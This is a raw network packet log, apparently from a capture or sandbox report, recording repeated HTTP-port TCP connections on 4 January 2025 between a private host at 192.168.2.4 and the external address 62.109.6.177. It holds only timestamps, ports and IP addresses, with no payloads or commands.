Jan 4, 2025 13:38:20.362576008 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.367392063 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.718719959 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.723531961 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.723582983 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.723592043 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.052377939 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.093533993 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.182652950 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.234204054 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.306981087 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.307176113 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.311975002 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.312093973 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.312146902 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.312285900 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.312375069 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.316869020 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.656174898 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:21.661001921 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.661014080 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:21.661021948 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.031213045 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.078989983 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.172013044 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.218512058 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.374933004 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.375216961 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.379904032 CET	80	50748	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.379985094 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.380036116 CET	50748	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.380058050 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.380179882 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.384913921 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.734220982 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.739142895 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.739152908 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.739190102 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.938332081 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.938425064 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.943206072 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.943459988 CET	80	50754	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:22.943521976 CET	50754	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.943546057 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.943672895 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:22.948400021 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.061984062 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.066802025 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.066854954 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.067034960 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.071779013 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.296794891 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.301603079 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.301698923 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.421732903 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.426600933 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.426610947 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.426619053 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.649738073 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.702907085 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.773363113 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.782634974 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.827903986 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.827910900 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:23.906344891 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:23.952902079 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.026272058 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.026433945 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.026552916 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.031279087 CET	80	50758	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.031394005 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.031495094 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.031501055 CET	50758	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.031619072 CET	80	50759	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.031646013 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.034898996 CET	50759	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.036495924 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.390755892 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.395683050 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.395693064 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.395699978 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.718606949 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.765408993 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.851331949 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.854881048 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:24.860011101 CET	80	50767	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:24.860047102 CET	50767	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.096182108 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.101041079 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.101105928 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.101231098 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.106000900 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.452991962 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.458005905 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.458019018 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.458025932 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.832660913 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:25.890403032 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:25.968213081 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.015393972 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.088057041 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.088222980 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.093060970 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.093075037 CET	80	50776	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.093137980 CET	50776	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.093147039 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.093224049 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.097954988 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.437352896 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.442298889 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.442311049 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.442320108 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.774857044 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.827914000 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:26.906533003 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:26.952909946 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.026561022 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.026788950 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.031580925 CET	80	50782	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.031591892 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.031627893 CET	50782	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.031656981 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.031857014 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.036638021 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.399333000 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.404257059 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.404269934 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.404288054 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.709522009 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.765409946 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:27.838504076 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:27.890403032 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.033657074 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.033855915 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.038647890 CET	80	50788	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.038660049 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.038726091 CET	50788	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.038753033 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.038897991 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.043648958 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.390505075 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.395380020 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.395392895 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.395401955 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.717999935 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.765419006 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.800370932 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.800616026 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.805185080 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.805655956 CET	80	50797	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.805733919 CET	50797	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.805814028 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.805814028 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.810575962 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.932049990 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.936892986 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:28.939018965 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.939132929 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:28.943898916 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.157375097 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.162246943 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.162292004 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.296725988 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.301691055 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.301702976 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.301712036 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.588202953 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.640418053 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.703054905 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.718609095 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.749773026 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.765415907 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.834731102 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.874784946 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.947545052 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.947546005 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.947844028 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.952629089 CET	80	50806	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.952646971 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.952683926 CET	50806	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.952722073 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.952810049 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.952887058 CET	80	50803	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:29.955111980 CET	50803	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:29.957528114 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.297163010 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:30.302016973 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.302027941 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.302035093 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.742974043 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.796664000 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:30.880135059 CET	80	50812	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:30.937290907 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:30.995803118 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.021936893 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.022002935 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.022116899 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.026906967 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.374849081 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.379715919 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.379730940 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.379740953 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.728072882 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.781028986 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.862373114 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.906033039 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.979748964 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.979955912 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.984740973 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.984752893 CET	80	50818	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:31.984807968 CET	50818	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.984858036 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.984904051 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:31.989643097 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.343663931 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.348495007 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.348509073 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.348519087 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.681291103 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.734162092 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.813766956 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.859170914 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.931539059 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.931581020 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.936387062 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.936544895 CET	80	50827	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:32.936634064 CET	50827	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.936841965 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.936841965 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:32.941620111 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.281208038 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.286178112 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.286190987 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.286200047 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.639540911 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.687288046 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.768486977 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.812304020 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.883934975 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.884274960 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.888931036 CET	80	50834	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.888981104 CET	50834	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.889045000 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:33.889132977 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.889214039 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:33.893959045 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.234230995 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.239118099 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.239130020 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.239144087 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.569403887 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.621172905 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.698709011 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.735110998 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.735344887 CET	50847	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.740129948 CET	80	50841	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.740169048 CET	80	50847	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.740178108 CET	50841	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.740251064 CET	50847	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.740361929 CET	50847	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.745093107 CET	80	50847	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.824426889 CET	50812	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.826973915 CET	50847	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.827177048 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.832952976 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.833029985 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.833098888 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:34.837836027 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:34.875910044 CET	80	50847	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.187375069 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.192251921 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.192264080 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.192271948 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.230792999 CET	80	50847	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.230952978 CET	50847	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.538913965 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.593559980 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.670494080 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.718547106 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.792700052 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.793212891 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.797632933 CET	80	50848	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.797696114 CET	50848	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.797993898 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:35.798069954 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.798209906 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:35.802968025 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.159004927 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:36.163858891 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.163878918 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.163887024 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.500972986 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.547080994 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:36.634314060 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:36.687280893 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.022322893 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.022670031 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.027463913 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.027517080 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.027576923 CET	80	50856	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.027631044 CET	50856	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.027807951 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.032629013 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.374872923 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.379785061 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.379796982 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.379805088 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.739262104 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.781064987 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.870390892 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:37.922990084 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.995399952 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:37.995667934 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.000478983 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.000570059 CET	80	50865	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.000587940 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.000673056 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.000678062 CET	50865	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.005405903 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.363010883 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.367861986 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.367873907 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.367882013 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.690268993 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.730684996 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.822366953 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.874800920 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.949093103 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.949347019 CET	50878	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.954114914 CET	80	50871	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.954159975 CET	50871	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.954215050 CET	80	50878	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:38.954283953 CET	50878	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.954385042 CET	50878	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:38.959168911 CET	80	50878	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:39.338313103 CET	50878	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:39.343225956 CET	80	50878	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:39.343240976 CET	80	50878	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:39.343250990 CET	80	50878	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:39.647466898 CET	80	50878	62.109.6.177	192.168.2.4
